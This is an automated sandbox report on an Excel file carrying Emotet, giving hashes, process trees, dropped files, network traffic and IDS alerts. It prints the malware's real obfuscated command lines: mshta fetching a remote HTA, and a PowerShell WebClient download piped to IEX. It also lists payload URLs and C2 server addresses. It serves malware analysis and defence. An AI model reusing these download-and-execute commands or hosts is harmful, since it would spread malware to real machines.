| File name: | ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls |
| Full analysis: | https://app.any.run/tasks/b815cc3f-8df8-4366-9611-9fbea3eac13e |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | January 24, 2022, 18:04:04 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.ms-excel |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu Jan 20 19:00:43 2022, Last Saved Time/Date: Thu Jan 20 19:07:37 2022, Security: 0 |
| MD5: | D3C5C59DB8DC652E5F78D61EEA4CE9FB |
| SHA1: | 5A5B3221A8801F01A363868354BF7206790D47BE |
| SHA256: | 23F9C3AD71B1FB7B02C58ABE796BEA89DA6B6C82C330E51C5BCE90D1E6E61FF8 |
| SSDEEP: | 1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA/eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2NU |
MALICIOUS
Starts CMD.EXE for commands execution
- EXCEL.EXE (PID: 3972)
Unusual execution from Microsoft Office
- EXCEL.EXE (PID: 3972)
Executes PowerShell scripts
- mshta.exe (PID: 968)
Loads dropped or rewritten executable
- SearchProtocolHost.exe (PID: 3368)
- rundll32.exe (PID: 2368)
- rundll32.exe (PID: 3596)
- rundll32.exe (PID: 3704)
- rundll32.exe (PID: 2000)
Connects to CnC server
- rundll32.exe (PID: 2000)
SUSPICIOUS
Reads default file associations for system extensions
- SearchProtocolHost.exe (PID: 3368)
- EXCEL.EXE (PID: 3972)
Checks supported languages
- cmd.exe (PID: 3944)
- mshta.exe (PID: 968)
- powershell.exe (PID: 2224)
- cmd.exe (PID: 2700)
Starts MSHTA.EXE for opening HTA or HTMLS files
- cmd.exe (PID: 3944)
Reads Microsoft Outlook installation path
- mshta.exe (PID: 968)
Reads the computer name
- mshta.exe (PID: 968)
- powershell.exe (PID: 2224)
Reads Environment values
- powershell.exe (PID: 2224)
Executable content was dropped or overwritten
- powershell.exe (PID: 2224)
- rundll32.exe (PID: 3596)
Drops a file with a compile date too recent
- powershell.exe (PID: 2224)
- rundll32.exe (PID: 3596)
Starts CMD.EXE for commands execution
- powershell.exe (PID: 2224)
Uses RUNDLL32.EXE to load library
- cmd.exe (PID: 2700)
- rundll32.exe (PID: 2368)
- rundll32.exe (PID: 3596)
- rundll32.exe (PID: 3704)
Starts itself from another location
- rundll32.exe (PID: 2368)
Application launched itself
- rundll32.exe (PID: 3596)
- rundll32.exe (PID: 3704)
INFO
Reads the computer name
- EXCEL.EXE (PID: 3972)
- rundll32.exe (PID: 3596)
- rundll32.exe (PID: 2000)
Creates files in the user directory
- EXCEL.EXE (PID: 3972)
Reads internet explorer settings
- mshta.exe (PID: 968)
Checks Windows Trust Settings
- powershell.exe (PID: 2224)
- rundll32.exe (PID: 2000)
Reads Microsoft Office registry keys
- EXCEL.EXE (PID: 3972)
Checks supported languages
- rundll32.exe (PID: 2368)
- rundll32.exe (PID: 3596)
- rundll32.exe (PID: 3704)
- rundll32.exe (PID: 2000)
- EXCEL.EXE (PID: 3972)
Reads settings of System Certificates
- rundll32.exe (PID: 2000)
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TRiD
| .xls | | | Microsoft Excel sheet (78.9) |
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EXIF
FlashPix
| HeadingPairs: |
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| TitleOfParts: |
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| HyperlinksChanged: | No |
| SharedDoc: | No |
| LinksUpToDate: | No |
| ScaleCrop: | No |
| AppVersion: | 16 |
| Company: | - |
| CodePage: | Windows Cyrillic |
| Security: | None |
| ModifyDate: | 2022:01:20 19:07:37 |
| CreateDate: | 2022:01:20 19:00:43 |
| Software: | Microsoft Excel |
| LastModifiedBy: | xXx |
| Author: | xXx |
Total processes
48
Monitored processes
10
Malicious processes
6
Suspicious processes
2
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 968 | mshta http://0xb907d607/fer/fe2.html | C:\Windows\system32\mshta.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.9600.16428 (winblue_gdr.131013-1700) Modules
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| 2000 | C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Mbyyg\ltzsouxjgucykzo.rax",DllRegisterServer | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2224 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
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| 2368 | C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString | C:\Windows\SysWow64\rundll32.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 2700 | "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString | C:\Windows\system32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 3368 | "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" | C:\Windows\system32\SearchProtocolHost.exe | — | SearchIndexer.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft Windows Search Protocol Host Exit code: 0 Version: 7.00.7601.24542 (win7sp1_ldr_escrow.191209-2211) Modules
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| 3596 | C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer | C:\Windows\system32\rundll32.exe | rundll32.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3704 | C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Mbyyg\ltzsouxjgucykzo.rax",kkMJxHKRaU | C:\Windows\system32\rundll32.exe | — | rundll32.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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| 3944 | cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html | C:\Windows\system32\cmd.exe | — | EXCEL.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 3972 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | Explorer.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.6024.1000 Modules
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Total events
12 009
Read events
11 826
Write events
170
Delete events
13
Modification events
| (PID) Process: | (3972) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems |
| Operation: | write | Name: | d4( |
Value: 64342800840F0000010000000000000000000000 | |||
| (PID) Process: | (3972) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3972) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (3972) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (3972) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (3972) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (3972) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (3972) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (3972) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (3972) EXCEL.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1042 |
Value: Off | |||
Executable files
2
Suspicious files
9
Text files
1
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3972 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR3464.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3972 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\ade5c2c45c5bbae939364326ae43a74c8b0c93307b7c653b12b80cbe8e891b70.xls.LNK | lnk | |
MD5:— | SHA256:— | |||
| 968 | mshta.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\fe2[1].htm | binary | |
MD5:— | SHA256:— | |||
| 3596 | rundll32.exe | C:\Users\admin\AppData\Local\Mbyyg\ltzsouxjgucykzo.rax | executable | |
MD5:— | SHA256:— | |||
| 2224 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:— | SHA256:— | |||
| 3972 | EXCEL.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | ini | |
MD5:— | SHA256:— | |||
| 2224 | powershell.exe | C:\Users\Public\Documents\ssd.dll | executable | |
MD5:— | SHA256:— | |||
| 2224 | powershell.exe | C:\Users\admin\AppData\Local\Temp\akvdfbr4.w35.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2224 | powershell.exe | C:\Users\admin\AppData\Local\Temp\djhqsz33.r4z.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:— | |||
| 2000 | rundll32.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 | compressed | |
MD5:F7DCB24540769805E5BB30D193944DCE | SHA256:6B88C6AC55BBD6FEA0EBE5A760D1AD2CFCE251C59D0151A1400701CB927E36EA | |||
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HTTP(S) requests
5
TCP/UDP connections
79
DNS requests
4
Threats
25
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
968 | mshta.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe2.html | FR | binary | 10.8 Kb | malicious |
2224 | powershell.exe | GET | 200 | 172.67.153.105:80 | http://hindimedia.in/wp-content/uploads/iXntuGFqLE31oHsTk/ | US | executable | 612 Kb | suspicious |
2224 | powershell.exe | GET | 200 | 185.7.214.7:80 | http://185.7.214.7/fer/fe2.png | FR | text | 1011 b | malicious |
2000 | rundll32.exe | GET | 200 | 178.79.242.128:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?98100acf088977af | DE | compressed | 59.9 Kb | whitelisted |
2000 | rundll32.exe | GET | 200 | 178.79.242.128:80 | http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?118833cc3383ff52 | DE | compressed | 4.70 Kb | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
968 | mshta.exe | 185.7.214.7:80 | — | Qual.it S.a.s. | FR | malicious |
2000 | rundll32.exe | 51.38.71.0:443 | — | — | GB | malicious |
2000 | rundll32.exe | 212.237.17.99:8080 | — | Aruba S.p.A. | IT | malicious |
2000 | rundll32.exe | 79.172.212.216:8080 | — | SzerverPlex.hu KFT. | HU | malicious |
2000 | rundll32.exe | 207.38.84.195:8080 | — | server4you Inc. | US | malicious |
— | — | 207.38.84.195:8080 | — | server4you Inc. | US | malicious |
2000 | rundll32.exe | 104.168.155.129:8080 | — | Hostwinds LLC. | US | malicious |
— | — | 178.79.147.66:8080 | — | Linode, LLC | GB | malicious |
2000 | rundll32.exe | 178.79.147.66:8080 | — | Linode, LLC | GB | malicious |
2000 | rundll32.exe | 46.55.222.11:443 | — | Cifrova Kabelna Korporacia EOOD | BG | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
dns.msftncsi.com |
| shared |
hindimedia.in |
| suspicious |
ctldl.windowsupdate.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2224 | powershell.exe | Misc activity | ET INFO Packed Executable Download |
2224 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2224 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2224 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2000 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 5 |
2000 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 14 |
2000 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 3 |
2000 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 19 |
2000 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 9 |
2000 | rundll32.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 18 |
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